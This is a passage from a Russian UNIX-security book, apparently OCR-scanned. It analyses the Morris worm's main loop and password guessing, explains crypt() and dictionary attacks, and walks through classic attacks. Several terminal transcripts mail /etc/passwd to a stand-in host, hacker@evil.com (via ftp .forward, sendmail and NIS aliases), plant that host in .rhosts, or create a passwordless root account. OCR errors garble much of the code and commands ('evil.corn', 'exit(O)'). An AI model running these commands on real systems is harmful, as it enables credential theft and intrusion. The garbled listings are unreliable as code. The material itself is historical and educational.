  Основной цикл doit содержал наиболее активные компоненты вируса. В нем вызывается процедура
cracksome, пытающаяся найти компьютеры, в которые можно проникнуть. Далее, после ЗО-секундного
ожидания, во время которого происходит попытка связаться с другими вирусами, вирус пытается
проникнуть в другие машины.

  После осуществления атак он разветвляется, создавая две копии. Первоначальная копия (процесс-
родитель) уничтожается, оставляя процессу-потомку всю информацию.

  Затем процедуры hd, hi и ha ищут машины для заражения, и программа ждет еще 2 минуты.

  Наконец, перед возвратом на начало цикла проверяется значение глобальной переменной pleasequit. Если
она установлена и вирус уже перебрал более 10 слов из собственного словаря паролей, работа завершается.

  Таким образом, принудительная установка pleasequit не дает эффекта моментального завершения всех
вирусов.

  Вот немного переделанный для лучшего понимания исходный текст процедуры doit:

  static doit()
{ long key, timel, timeO:

  time(&key);
srandom (key):

  timeO == key:

  if (hgO ==0&& hl() - 0)
ha():

  if ((random() %7) i= 3)
checkother():

  report_breakin():

  cracksome();
other_sleep(30):

  while (1) {
cracksome();
if(fork())>0)
exit(O):

  if(hg()-0&&hi()==0&&ha()==0)
hl():

  other_sleep( 120),
time(&time1);
if (timel - tinie0>= 60*60*12)
h_clean();
if (pleasequit && nextw > 0)
exit(O); } }
Процедуры подбора пароля
Процедуры подбора пароля являются <мозгом> вируса. Cracksome - процедура, применяющая различные
стратегии для проникновения в систему путем подбора паролей пользователей. Автором допускалось
добавление новых стратегий при дальнейшем развитии вируса. Вирус последовательно пробует каждую
стратегию.

  Фаза О
Это предварительный этап, на котором определяется список возможных мишеней атаки (имена и сетевые
адреса компьютеров, имена и пароли пользователей).

  На этом этапе читается файл /etc/hosts.equiv в поисках имен машин, которые могли быть заражены. Этот
файл содержит информацию о том, какие машины <доверяют> данной. Логично предположить, что
пользователи этой машины могут быть пользователями машин из этого списка.

  После этого читается файл .rhost, представляющий собой список машин, которым данная машина
<доверяет> привилегированный доступ. Заметим, что это не позволяет получить доступ к удаленной
машине и может служить только возможным адресом для атаки. Часто системные администраторы
запрещают доступ к этому файлу, из-за чего вирус не может его прочитать, хотя .rhosts очень часто является
частью /etc/hosts.equiv.

  В конце фазы 0 вирус читает файл паролей /etc/passwd. Информация из этого файла используется для
нахождения персональных .forward-файлов, и те просматриваются с целью поиска имен машин, которые
можно атаковать. Кроме того, из него извлекаются входные имена пользователей, их зашифрованные
пароли и полные имена. После того как вирус просканирует весь файл, он перейдет к перебору стратегий.

  Стратегия 1
Это самая простая стратегия, способная определить только примитивные \ пароли. Пусть файл etc/passwd
содержит строчку
user:<хеш пароля>:100:5:John Sffiith:/usr/user:/bin/sh
Тогда в качестве пароля предлагаются следующие варианты:

  
 пароль вообще отсутствует;

 в качестве пароля берется входное имя пользователя (user);

 то же, но прочитанное справа налево (resu); ' пароль представляет собой двойной повтор имени
пользователя (useruser);

 имя или фамилия пользователя (John, Smith);

то же, но в нижнем регистре (John, smith). Все эти атаки применялись к 50 паролям, накопленным во
время фазы 0. Так как вирус пытался угадать пароли всех пользователей, он переходил к стратегии 2.

  Стратегия 2
Стратегия 2 использует внутренний список из 432 возможных паролей, являющихся, с точки зрения автора
вируса, наиболее подходящими кандидатами на эту роль. Список перемешивается в начале проверки для
того, чтобы пароли подбирались в случайном порядке. Здесь же проверяется значение переменной pleasequit,
но так, чтобы перед выходом вирус <просмотрел> не менее 10 вариантов. Когда список слов исчерпан, вирус
переходит к стратегии 3.

  Стратегия 3
Эта стратегия использует для подбора пароля файл /usr/dict/words, содержащий около 24 000 слов и
используемый в системе 4.3BSD (и других) как орфографический словарь. Если слово начинается с
прописной буквы, то проверяется и вариант со строчной буквой.

  Процедуры поиска удаленных машин
Это набор процедур с начинающимися на  именами, выполняющих задачу поиска имен и адресов
удаленных машин.

  Процедура hg вызывает процедуру rt_init, которая сканирует таблицу маршрутов и записывает все адреса
доступных шлюзов (gateways) в специальный список. Затем процедура hg пытается применить процедуры
атаки через rsh, finger и sendmail.

  Процедура ha связывается с каждым шлюзом из списка, полученного процедурой hg, через TCP-порт
номер 23, чтобы обнаружить те машины, которые поддерживают telnet. Список перемешивается случайным
образом, после чего для каждой машины из этого списка вызывается процедура hn (то есть вирус пытается
заразить все машины в подсетях этого шлюза).

  Процедура hi извлекает номер сети - первый компонент сетевого адреса из всех адресов текущей машины,
и для каждого полученного адреса вызывает процедуру hn с этим адресом в качестве аргумента (иначе гово-
ря, атакуются все локально подключенные подсети).

  Процедура hi пытается атаковать каждую машину из списка, находящегося в файле /etc/hosts.equiv, через
rsh, finger и sendmail.

  Процедура hn получает номер сети в качестве аргумента. Если этот номер совпадает с номером сети одной
из машин, подключенных к данной, процедура завершается. Для остальных адресов она пытается угадать ад-
реса шлюзов путем перебора всех возможных адресов (<номер сети>.[1-8].0.[1-255]). Этот список
перемешивается случайным образом, после чего процедура пытается атаковать до 12 машин из списка,
используя rsh, finger и SMTP. Если машина не поддерживает связь через TCP-порт 514 (rsh), то hn не
пытается атаковать ее. После первой успешной атаки процедура завершается.

  Порядок работы
Все эти процедуры вызываются в главном цикле. Если первая процедура завершилась успешно, то остальные
не вызываются. Каждая процедура возвращается после того, как она сумела атаковать одну машину. Затем
вызывается hi, которая пытается заразить удаленные машины, найденные cracksome. Если hi терпит неудачу,
то вызывается ha, которая старается проникнуть в удаленную машину по случайно угаданному адресу связи.

  Это демонстрирует, что вирус предпочитал поражать сначала шлюзовые машины, а затем распространяться
на присоединенные к ним сети, вместо того чтобы заражать машины, минуя шлюзы. Если hg, hi и ha терпят
неудачу, то вызывается hi, которая похожа на ha, но подбирает адрес с помощью сетевого адреса текущей
машины. Анализ кода этих процедур также свидетельствует о наличии ошибок.

  Процедура 11.с - <абордажный крюк>
Все процедуры атаки использовали эту короткую процедуру для пересылки основной части вируса.

  Первое, что она делает, - удаляет свой образ на диске. Затем она проверяет наличие трех аргументов (если
их нет, то завершается), после чего закрывает все файловые дескрипторы и разветвляется на два процесса
(если это не удается, она также завершается). Процесс-родитель завершается, не оставляя никаких связей с
порожденным процессом.

  Далее процедура (процесс-потомок) создает TCP-соединение с заражаемой машиной по адресу, заданному в
качестве первого аргумента, через
порт, заданный вторым аргументом. Затем она пересылает на зараженную машину <магическое число>,
заданное третьим аргументом. Каждый аргумент стирается сразу после его использования. Далее
стандартный ввод-вывод переназначается на канал связи с зараженной машиной.

  Следующий этап - считывается длина и имя каждого файла, составляющего вирус. Каждый файл
пересылается с зараженной машины на текущую. При возникновении сбоев все файлы удаляются.

  По окончании цикла пересылки файлов запускается Bourne Shell (sh), замещающий программу II и
получающий команды с зараженной машины.

  Может быть, после такого детального рассмотрения алгоритмы, применяемые червем Морриса, кажутся
неуклюжими и запутанными, вероятно, что-то можно было сделать проще и эффективнее. Тем не менее они
реализовывали все процедуры, необходимые настоящему сетевому вирусу, чего за 10 лет никому повторить
не удалось - ни в рамках UNIX-архитектуры, ни в какой другой. Сегодня <троянские> программы,
попадающие к незадачливому пользователю с электронной почтой и т. п., который сам их запускает и
инициирует таким образом дальнейшее размножение, иногда называют <новыми сетевыми червями>
(особенно в ОС семейства Windows). Но <тро-янцы> не могут размножаться без участия человека и не
являются сетевыми червями по определению.

  После червя
Подбор пароля
Вирус Морриса заставил по-новому взглянуть на вопросы компьютерной безопасности. Были предприняты
шаги не только по закрытию тех брешей, которые он использовал, но и по поиску и классификации причин
их появления в UNIX-системах. Также была выявлена необходимость создания некоторого
координационного органа, в котором бы накапливалась и систематизировалась информация о различных
компьютерных инцидентах, применяемых методах атак и способах защиты от них. Вскоре такой центр CERT
(Computer Emergency Response Team) был создан, и первым появившимся в декабре 1988 года бюллетенем
стало сообщение об уязвимостях, использованных червем.

  Однако и компьютерные взломщики совершенствовали свои методы. Одной из наиболее популярных
стала атака с подбором пароля другого пользователя. Ей активно пользовался и вирус Морриса, но, либо
развив его идеи, либо создаваясь независимо, вскоре появилось множество программ,
занимавшихся подбором пароля к UNIX-машине. И долгое время слова <взломать UNIX> означали запустить
взломщик (cracker) паролей.

  Как известно, в файле /etc/passwd лежит ключевая информация обо всех пользователях системы, включая
входное имя, пароль, полное имя и т. п. Даже в 70-х годах, когда создавались первые версии UNIX, разра-
ботчикам было понятно, что пароль пользователя нельзя хранить в открытом виде. Они придумали схему,
благодаря которой целенаправленные атаки на то, к чему всегда стремится не очень добропорядочный
пользователь - завладеть паролем другого, смогли реализоваться лишь спустя 15 лет. Создатели не
шифровали пароль по какому-то секретному алгоритму, так как рано или поздно он стал бы известен
очередному не в меру любопытному, но в меру грамотному программисту, который смог бы расшифровать
все пароли. Они выбрали путь необратимого преобразования пароля, когда из исходного пароля путем
применения к нему специальной однонаправленной функции, называемой хэшированием, получалось
значение, из которого никак нельзя получить исходный пароль. Более того, разработчики взяли
математически криптостойкий алгоритм DES и на основе его создали функцию crypt(), преобразующую
пароль в строку, расположенную в файле /etc/passwd. Эту функцию написал, кстати, Роберт Моррис-
старший.

  Итак, рассмотрим немного подробнее алгоритм, применяемый UNIX для преобразования пароля
пользователя. Кстати, этот алгоритм до сих пор используется в большинстве *1Х.

  Из исходного пароля берутся первые восемь байт. Также выбирается 12-битная случайная привязка (salt),
используемая при операции хэширования. Она нужна для того, чтобы одинаковые пароли (возможно, у раз-
ных людей) не выглядели одинаково после хэширования. Затем к этим двум параметрам применяется
специальная функция шифрования, состоящая из 25 повторений чуть измененного алгоритма DES (чтобы
исключить использование аппаратных плат, реализующих классический DES; однако такие изменения могли
стоить разработчикам ослабления крипто-стойкости их функции, но, к счастью, этого не случилось), которая
дает на выходе 64-битное значение.

  Наконец, сама привязка преобразуется в два читабельных ASCII-сим-вола, а хэш -в II символов. Итак,
функция char* crypt (char* passwd, char* salt) выдает 13-символьную строчку, которая и записывается в файл
/etc/ passwd.

  При входе пользователя в систему вызывается та же функция crypt() с введенным паролем и привязкой,
полученной из /etc/passwd. Если результат
оказывается равным значению, хранящемуся в файле, то аутентификация считается состоявшейся.

  После анализа этой схемы первое, что приходит в голову потенциальному взломщику (если он верит в
невозможность обратного преобразования хэша в пароль), - перебор. Берется некоторый набор символов
(например, прописные и строчные буквы, цифры и специальные символы типа знаков препинания - всего
получается 94 символа), а затем из них по очереди составляются все комбинации вплоть до 8-символьной
длины. К каждой из них применяется crypt(), и результат сравнивается с имеющимся. Естественно, что в эти
комбинации рано или поздно попадет любой пароль пользователя.

  Обрезание пароля до 8 значимых символов, конечно, резко ограничивает множество для перебора, но для
тех времен это было вполне допустимо, так как функция crypt() была реализована заведомо неэффективно и
время одного ее выполнения доходило до одной секунды на машине класса PDP. Таким образом, в среднем
злоумышленник потратил бы на поиск пароля около 100 миллионов лет. Если же в качестве ножества
символов взять прописные латинские буквы (наиболее часто используемое множество), то время перебора
составило бы в среднем <всего> 3 440 лет. Заметим, однако, что на сегодняшний день скорость
оптимизированной функции crypt() на средней машине класса Pentium/I 66 ММХ составляет примерно 15
000 crypt/c, то есть она за 20 лет повысилась в 15 000 раз.


          - -------------------------------------------------------------

I Авторы [23] приводят интересную цифру - в то время (имеется в виду 1991 год) суперкомпьютер Cray
выдавал 50 000 crypt/c. А сегодня счастливый обладатель какого-нибудь РШ/500 имеет в своем
распоряжении вычислительную мощь, которая 8-9 лет назад была доступна только, скажем, АНБ США!


          - -------------------------------------------------------------

Это означает, что сегодня любой пароль из прописных латинских букв мы сможем найти в среднем за 80
дней.

  Более того, этот процесс легко можно распараллелить, и существуют специальные платы, аппаратно
выполняющие процесс шифрования, с помощью которых можно еще больше сократить время поиска.

  С аналогичным аппаратным прогрессом столкнулась и другая фиксированная величина функции crypt() -
привязка. Она создавалась для того, чтобы взломщик не мог применить стандартную для оптимизации про-
грамм замену время-память, то есть хэшировать предварительно (и один
раз) некий большой набор слов и затем уже быстро искать в нем нужное хэш-значение. Однако если взять
словарь в 10 000 слов (в среднем из 6 букв), то для хранения хэшей (еще 11 байт; 2 байта привязки можно не
хранить) его слов во всех 4 096 модификациях потребовалось бы примерно 10 000 х 17х4 096 байт = 660
Мбайт. Раньше такой объем памяти нельзя было представить, а сейчас - один компакт-диск.

  Однако вернемся на несколько лет назад, когда вычислительной мощности для полного перебора всех
паролей не хватало. Тем не менее хакеры придумали остроумный (но совершенно очевидный) метод,
основанный на людской психологии. Он следует из того, что человеку нелегко запомнить длинные
бессмысленные наборы символов (идеальные в качестве паролей), поэтому он каким-либо путем попробует
выбрать их более-менее запоминающимися и/или осмысленными. Чаще всего им в качестве пароля
выбирается существующее слово или какая-либо информация о себе или своих знакомых (имя, дата
рождения и т. п.). Ну а поскольку в любом языке не более 100 000 слов, то их перебор займет немного
времени, и от 10 до 40°о существующих паролей может быть угадано с помощью простой схемы,
называемой <атакой по словарю>. (Кстати, до 50% таких паролей может быть угадано с использованием
всего 1 000 слов.) Как вы уже знаете, даже вирус Морриса применял такой способ, тем более что в UNIX
<под рукой> часто оказывается файл-словарь, обычно используемый программами-корректорами. Что же
касается <собственных> паролей, то файл /etc/passwd может дать немало информации о пользователе: его
входное имя, реальные имя и фамилию, домашний каталог. Вирус Морриса, как вы помните, с успехом
пользовался следующими предположениями:

  
 в качестве пароля берется входное имя пользователя;

 пароль представляет собой двойной повтор имени пользователя;

 то же, но прочитанное справа налево;

 имя или фамилия пользователя;

 то же, но в нижнем регистре.

  Забегая несколько вперед, остановимся на ситуации со вскрытием паролей, Во-первых, сегодня трудно
предположить, что существует еще какой-нибудь ускользнувший от внимания хакеров способ, позволяющий
удаленно выкрасть файл /etc/passwd для последующего анализа (его, безусловно, можно получить, используя
сценарий 1 или 2 через изъян в демоне, но это бессмысленно, потому что злоумышленник в этом случае и так
стал суперпользователем на вашей машине). Во-вторых, в современных версиях UNIX появился механизм
так называемого <затенения> (shadowing) файла паролей: он перемещается в другое место и становится
недоступным обычным
пользователям по чтению. Но это не очень эффективное средство, что связано (опять-таки!) с идеологией
UNIX, и вызов функции getpwent() в некоторых случаях позволяет получить пароли пользователей в
классическом виде. В-третьих, иногда функция crypt() заменяется на другую (еще более медленную) хэш-
функцию, и запуск старых программ-взломщиков ни к чему не приводит. Обычно это алгоритм MD5,
скорость которого в 50 раз меньше, чем crypt(). Аналогично может увеличиваться и размер привязки,
например до 24 бит. Наконец, среди пользователей в последние годы проводится большая <разъяснительная
работа> по выбору стойких паролей, и процент успешно подобранных паролей с помощью атаки <по
словарю> пусть медленно, но падает.


          - -------------------------------------------------------------

I С другой стороны, количество подключающихся к Internet пользователей растет гораздо быстрее.


          - -------------------------------------------------------------

Однако психологический фактор останется до тех пор, пока с компьютером работает человек, и, наверное,
никогда эксперты по компьютерной безопасности не дождутся от пользователя выбора таких простых и
радующих душу паролей, как 34jXs5U@bTa!6. Поэтому даже искушенный пользователь хитрит и выбирает
пароли типа hopel, userl997, pAsSwOrD, toor, roottoor, parol,gfhjkm, asxz. Видно, что все они, как правило,
базируются на осмысленном слове и некотором простом правиле его преобразования: прибавить цифру или
год, перевести через букву в другой регистр, записать слово наоборот, прибавить записанное наоборот слово,
записать русское слово латинскими буквами, набрать русское слово на клавиатуре с латинской раскладкой,
составить пароль из рядом расположенных на клавиатуре клавиш и т. п.

  Поэтому не надо удивляться, если такой <хитрый> пароль будет вскрыт хакерами: они не глупее вас и уже
вставили в свои программы те правила, по которым могут преобразовываться слова. В самых современных
программах (Crack 5.0, John The Ripper) такие правила могут программироваться и задаваться с помощью
специального языка самим хакером.

  Приведем пример эффективности стратегии перебора. В отдельных книгах по безопасности предлагается
выбирать в качестве надежного пароля два осмысленных слова, разделенных некоторым знаком, например
goocUpassword. Подсчитаем, сколько в среднем потребуется времени, чтобы сломать пароль, если такое
правило включено в набор программы-взломщика (пусть словарь содержит 10 000 слов, разделительными
знаками будут 10 цифр и 32 символа, включая знаки препинания):

  10000х(32+10)х 10000/(15000x2)= 140000 секунд или чуть больше полутора дней.

  Итак, из всего вышесказанного ясно, насколько важно для вашей безопасности иметь хорошие пароли,
причем вне зависимости от операционной системы, которую вы используете. К сожалению, рекомендации
по поводу выбора паролей выходят за рамки этой книги.

  Типичные атаки
Далее мы рассмотрим типичные атаки на UNIX-хосты, которые осуществлялись в недалеком прошлом, и
попытаемся классифицировать их по предложенным типовым сценариям. Повторимся, что наша книга не
является справочником по уязвимостям или учебником по взлому, поэтому в ней приводятся только атаки,
которые характеризуют те или иные принципиальные проблемы безопасности UNIX. Почти все атаки
даются с подробными листингами, так как потенциальный кракер все равно найдет их в Internet [22], а
главное - на сегодняшний день они являются сильно устаревшими и представляют в большей степени
теоретический интерес.

  Атака с использованием анонимного ftp
Анонимный ftp-сервис (обнаружить его чрезвычайно просто) мог служить легким способом получения
доступа из-за частой неправильной конфигурации. Например, система могла иметь полную копию файла
/etc/passwd в каталоге -ftp/etc вместо урезанной версии со всеми вытекающими отсюда последствиями.

  Кроме того, можно было применить и более изощренный способ - в следующем примере домашний каталог
специального пользователя ftp на victim.com доступен для записи. Это позволяет послать по почте самому
себе файл /etc/passwd атакуемой машины. Для этого надо создать файл .forward в домашнем каталоге ftp,
который выполняется, когда пользователю ftp посылается почта. Например:

  evil % cat forward_sucker_file
"I/bin/mail hacker@)evil .corn < /etc/passwd"
evil % ftp victim.com
Connected to victim.com
220 victim FTP server ready.

  Name (victim.com:hacker): ftp
331 Guest login ok, send ident as password.

  Password: *****
230 Guest login ok, access restrictions apply.

  ftp> Is -lga
200 PORT command successful.

  150 ASCII data connection for /bin/is (192.192.192.1,1129) (0 bytes).

  total 5
drwxr-xr-x4 101 1 512 Jun 20 1991 . drwxr-xr-x 4 101 1512 Jun 20 1991 . .

  drwxr-xr-x2 01 512 Jun 20 1991 bin drwxr-kr-x2 0 1512 Jun 20 1991 etc
drwxr-xr-x 3 101 1 512 Aug 22 1991 pub
226 ASCII Transfer complete.

  242 bytes received in 0.066 seconds (3.6 Kbytes/s)
ftp> put forward_SLicker_fl.le .forward 43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit evil % echo test I mail ftp@vlctim. corn
Теперь хакер может просто ждать, пока файл с паролями не будет выслан ему. Очевидно, что такая атака
(как и следующая) является типичной по сценарию 2. Рассматривая ftp, вспомним совсем старую ошибку:

  % ftp -п
ftp> open victim, corn
Connected to victim, corn
220 victim, corn FTP-server ready.

  ftp> quote user ftp
331 Guest login ok, send ident as password.

  ftp> quote cwd "root
530 Please login with USER and PASS.

  ftp> quote pass ftp
230 Guest login ok, access restrictions apply.

  ftp> Is -al /
Если этот прием сработал, то атакующий теперь вошел в систему как суперпользователь. Далее мы
рассмотрим более свежие <дыры> в ftp-демонах.

  Использование tftp
До сих пор существует (но почти не используется, по крайней мере в глобальных сетях) программа, подобная
ftpd, - tftpd. Этот демон не требует пароля для аутентификации. Если хост предоставлял tftp без ограничения
доступа (обычно с помощью установок флагов безопасности в файле inetd.conf), то атакующий получал
доступ по чтению и записи к любым файлам. Например, можно было получить файл паролей с удаленной
машины и разместить его в локальном каталоге /tmp:

  evil % tftp
tftp> connect victim, corn
tftp> get /etc/passwd /tmp/passwd. Victim
tftp>quit
Это атака по сценарию 2.

Проникновение в систему с помощью sendmail


  Sendmail - очень сложная программа, у которой всегда было много проблем с
безопасностью, включая печально известную команду debug. С ее помощью,
например анализируя сообщения, можно было получить некоторую информацию об
удаленной системе, вплоть до номера версии. Это позволяет определить
наличие в системе известных ошибок.

  Кроме того, для старых версий sendmail можно было увидеть, запущен ли
псевдоним "decode", имеющий ряд проблем:

  evil % telnet victim, corn 25
connecting to host victim .corn (194.94.94.94.), port 25 connection open
220 victim.corn Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93

                                    18:00 PDT

expn decode
250 ""l/Lisr/bin/uudecode""
quit
С псевдонимом "decode" система подвергалась риску, так как злоумышленник
мог изменить любые файлы, доступные для записи владельцу этого псевдонима,
которым, как правило, являлся демон. Приведенный фрагмент кода помещал
evil.com в файл .rhosts пользователя hacker, если он был доступен для
записи:

  evil X echo "evil.com" I uuencode /home/hacker/, rhosts I mail
decode@victim.com
В части программы sendmail, отвечающей за пересылку, были две хорошо
известные ошибки. Первую устранили в версии 5.59. В версиях до 5.59
evil.com добавлялся к файлу .rhosts вместе с обычными почтовыми
заголовками, несмотря на сообщения об ошибках:

  % cat evil_sendmail
telnet victim, corn 25 " EOSM
rcpt to: /home/hacker/, rhosts
mail from: hacker
data
rcpt to: /home/hacker/, rhosts .mail from: hacker .

  data
evil.com
quit

                                      EOSH

evil % /bin/sh evil_sendmail
Trying 194.94.94.94
Connected to victim.com
Escape character is ' `]' .

  Connection closed by foreign host.

  evil %rlogin victim, corn-I hacker Welcome to victim, corn!

  victim %
Вторая ошибка позволяла кому угодно задавать произвольные команды оболочки
и/или пути для посылающей и/или принимающей стороны. Попытки сохранить
детали в секрете были тщетными, и широкая дискуссия в эхо-конференциях
привела к обнародованию того, как можно использовать некоторые ошибки.

  Почти все системы оказались уязвимы для подобных атак, поскольку все они
имели в основе один и тот же исходный текст. Типичная атака с помощью
sendmail, направленная на получение пароля, могла бы выглядеть так:

  evil % telnet victim, corn 25
Trying 194.94.94.94
Connected to victim.com
Escape character is ' `]' .

  220 victim.corn Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "I/bin/mail hacker@evil.corn " /etc/passwd"
250 "I/bin/mail hacker@evil.corn " /etc/passwd". . . Sender ok
rcpt to: nosuchuser
550 nosuchuser. . . User unknown
data
354 Enter mail, end with ". " on a line by itself

                                        .


  250 Mail accepted quit
Connection closed by foreign host.

  evil %
Из примера видно, что все атаки на sendmail идут на уровне
незарегистрированного удаленного пользователя и поэтому относятся к
сценарию 1.

  Атаки на доверие
Напомним, что типичным (и самым опасным) механизмом, использующим доверие,
является механизм доверенных хостов, при подключении с которых с помощью
г-служб можно зарегистрироваться под любым именем, кроме root, без
указания пароля. Само по себе это уже плохо, так как, вскрыв один из
хостов, кракер сможет легко по цепочке добраться до следующих. Гораздо
более опасно другое: если система, которую собираются атаковать, содержит
шаблон "+" (в некоторых системах он устанавливается по умолчанию) в
файлах, где описываются доверенные хосты, то все хосты становятся
доверенными для данного.

  Другие описываемые здесь атаки на доверие также основаны на ненадежной
аутентификации или ее отсутствии, поэтому все они относятся к типовому
сценарию 4.

  Проникновение в систему с помощью rsh
Поскольку специальный пользователь bin, как правило, имеет доступ к
ключевым файлам и каталогам, то, зарегистрировавшись как bin, может
изменить файл паролей так, чтобы получить привилегии доступа root.

  Например:

  evil % whoami
bin
evil % rsh victim, corn csh -i
Warning: no access to tty; thus no job control in this shell. . .

  victim % Is -ldg /etc
drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc
victim % cd /etc
victim % mv passwd pw.old
victim % (echo toor: : 0:1: суперпользователь без пароля :/:/bin/sh; cat
pw.old ) " passwd
victim % `D
evil % riogin victim, corn -I toor Welcome to victim, corn!

  victim #
Несколько замечаний no поводу деталей приведенного выше метода: "rsh
victim.com csh -i" используется для проникновения в систему, так как при
таком запуске csh не оставляет никаких следов в файлах учета wtmp или
utmp, делая rsh невидимым для finger или who. Правда, при этом удаленный
командный процессор не подключается к псевдотерминалу, и полноэкранные
программы (например, редакторы) работать не будут. На многих системах
атака с помощью rsh (в случае успешного завершения) оставалась абсолютно
незамеченной, поэтому мы рекомендуем использовать анализатор внешних
tcp-нодключений, который поможет обнаружить такую деятельность.

  Недостатки аутентификации NFS
NFS (Network Filesystem) - это разработанный фирмой Sun сетевой протокол
для подключения удаленной файловой системы сервера к рабочей станции. К
сожалению, этот протокол использует довольно слабые формы аутентификации
пользователей, слишком доверяя им. Как пишут Дж. Спаффорд и С. Гарфинксл И
действительно, стандартная схема аутентификации, принятая в NFS,-так
называемая AUTH_UNIX. При ней клиент предоставляет серверу свои UID и GID,
по которым, собственно, сервер разрешает или запрещает доступ к тому или
иному файлу (то есть использует стандартную схему разграничения доступа в
UNIX). Таким образом, сервер полностью доверяет клиенту, а
клиент-нарушитель может предстать перед сервером любым пользователем
(кроме суперпользователя).


          - -------------------------------------------------------------

I Как видно, создатели все же понимали слабость такой схемы и то, что на
удаленном компьютере суперпользователем (!) может быть, в сущности, кто
угодно. Поэтому, даже передав серверу UID, равный нулю, злоумышленник не
получит максимальные права на сервере NFS. Иначе говоря, файлы, владельцем
которых является суперпользователь, защищены от подобных атак.


          - -------------------------------------------------------------

Предположим, что запуск программы showmount с параметром "атакуемый хост"
покажет следующее:

  evil Уо showmount -е victim.corn
export list for victim.corn:

  /export (everyone)
/var (everyone)
/usr easy
/export/exec/kvm/sun4c. sunos.4.1.3 easy /export/root/easy easy
/export/swap/easy easy
Сразу заметно, что /export и все его подкаталоги экспортируются во внешнюю
среду. Предположим (это можно выяснить с помощью finger), что домашним
каталогом пользователя guest является /export/foo. Теперь, владея
информацией, можно осуществить первое вторжение. Для этого монтируется
домашний каталог пользователя guest удаленной машины. Супер-. пользователь
атакующей машины не сможет модифицировать файлы на файловой системе,
смонтированной как NFS, а "сам" пользователь сможет! Поэтому, чтобы
обмануть доверчивый NFS, надо создать фиктивного пользователя guest с тем
же UID, что и на сервере, в локальном файле паролей. Далее стандартно
эксплуатируется "излишнее доверие" уже г-служб, и атакующая машина
victim.corn вставляется в файл .rhosts в удаленном домашнем каталоге
guest, что позволит зарегистрироваться в атакуемой машине, нс предоставляя
пароля:

  evil # mount victim, corn: /export/foo /foo evil ff cd /foo
evil # Is -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47.

  1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 .

  1 drwx--x--x 9 10001 daemon 1024 Aug 315:49 guest
evil # echo guest : х : 10001:1: временно для взлома:/: " /etc/passwd
evil # su guest
evil % echo victim.com " guest/, rhosts
evil % riogin victim.com
Welcome to victim.com!

  victim %
Если бы victim.com нe экспортировал домашние каталоги пользователей, а
только каталоги с программами (скажем, /usr или /usr/local/bin), можно
было бы заменить команду "троянским" конем, который выполнял бы те же
операции.

  Распространенность NFS приводит к тому, что подобные атаки до сих пор
являются актуальными, и, как мы увидим, они похожи на уязвимости,
имеющиеся в Windows NT из-за наличия в ней механизма разделения каталогов.

  Использование службы NIS
Активный NIS-сервер управляет почтовыми псевдонимами (aliases) для доменов
NIS. Подобно рассмотренным вариантам атак с помощью псевдонимов локальной
почты можно было создавать почтовые псевдонимы, которые бы выполняли
команды, когда им приходит почта. Например, рассмотрим создание псевдонима
"foo", посылавшего по почте файл паролей на evil.corn, когда на его адрес
поступало любое сообщение:

  nis-master # echo 'foo: "I mail hacker@evil.com " /etc/passwd "' "
/etc/aliases
nis-master и cd /var/yp
nis-master # make aliases
nis-master # echo test I mail -v foo@victim.com
Таким образом, становится ясно, что NIS была ненадежной службой, которая
почти не имела аутентификации клиентов и серверов, и если атакующий
управлял активным NIS-сервсром, то он также мог бы эффективно управлять
хостами клиентов (например, выполнять произвольные команды).

  Особенности безопасности X-Window
1: Оконная система UNIX, в отличие от оконной системы другой фирмы, явля-1
ется сетевой, поддерживающей сервер и клиента. Ее наличие на компьютере
может быть обнаружено, в частности, с помощью сканирования портов. Порт
X-Window - обычно 6000.

  Сервер X-Window аутентифицировал своих клиентов только по имени хоста, с
которого они подключались. Если же он "доверял" всем хостам, то его окна
могли быть захвачены или просмотрены, ввод пользователя мог быть украден,
программы могли быть удаленно выполнены и т. п. Одним из методов
определения уязвимости Х-сервера является подсоединение к нему через
функцию XOpenDisplay(). Если функция возвращает не NULL, то доступ можно
получить.

  Х-терминалы, гораздо менее мощные системы, имели свои проблемы по части
безопасности. Многие Х-терминалы разрешали неограниченный rsh-доступ,
позволяя запустить Х-клиенты на терминале victim, перенаправляя вывод на
локальный терминал:

  evil% xhost +xvictim. victim, com
evil% rsh xvictim.victim.corn telnet victim.corn -display evil. corn
В любом случае администратору необходимо было продумать безопасность
системы X-Window, иначе система могла подвергаться такому же риску, как и
при наличии "+" в hosts.eguiv или при отсутствии пароля у root.

  Современная ситуация
В этом разделе мы перейдем к рассмотрению ситуации с безопасностью UNIX в
наши дни. Забегая вперед, сразу скажем, что принципиально ничего не
изменилось. Возможно, ошибок в старых версиях UNIX стало меньше, зато
появились новые версии UNIX. Вероятно, пользователи стали уделять больше
внимания своим паролям, но вычислительная мощность персональных
компьютеров удваивается чуть ли не каждый год, и программы-взломщики
становятся все более изощренными. Сегодня, скорее всего, хакер уже не
будет искать уязвимости в демонах типа telnetd или ftpd, а возьмет
какой-нибудь малоизученный. Далее мы не станем приводить конкретные
примеры (exploit) их использования по вполне понятным причинам.

  Ошибка в демоне telnetd
Эта уязвимость, основанная на недоработке в демоне, отвечающем за протокол
telnet, па наш взгляд, является одной из самых красивых и стала уже почти
такой же хрестоматийной, как команда debug в sendmail. Хосты, подверженные
этой уязвимости, должны иметь анонимный ftp-сервис с разрешением на запись
в один из своих каталогов (типа -ftp/incoming),
Основная идея проникновения заключается в том, что злоумышленник подменяет
стандартную библиотеку libc своей, имеющей "троянского" коня: при вызове
некоторых функций она запускает командную оболочку. Затем он помещает ее
на атакуемую машину, используя анонимный ftp-сервис. Основная его задача -
сделать так, чтобы библиотека воспринималась на атакуемой машине как
настоящая. Для этого взломщик подменяет специальные переменные окружения,
которые теперь будут указывать на "троянскую" библиотеку. Наконец,
telnet-демоны, поддерживающие функцию передачи переменных окружения (RFC
1408 или RFC 1572), смогут переслать их на удаленную машину. После этого
злоумышленнику остается только попытаться войти по telnet на атакованную
машину. При отработке функции login() будет вызвана одна из "троянских"
функций, и злоумышленник получит привилегии суперпользователя. Таким
образом, это типичная атака по сценарию 1, но для ее подготовки нужен
предварительный вход на машину через анонимный ftp (естественно, возможны
другие комбинации, позволяющие записать файл в любой каталог удаленной
машины). Указанная атака выглядит примерно так:

  evil: `# ftp victim.com Connected to victim.com
220 Victim FTP server (Version wu-2.4(4) Sat Mar 24 14:37:08 EOT 1996)
ready.

  Name (evil: root): anonymous
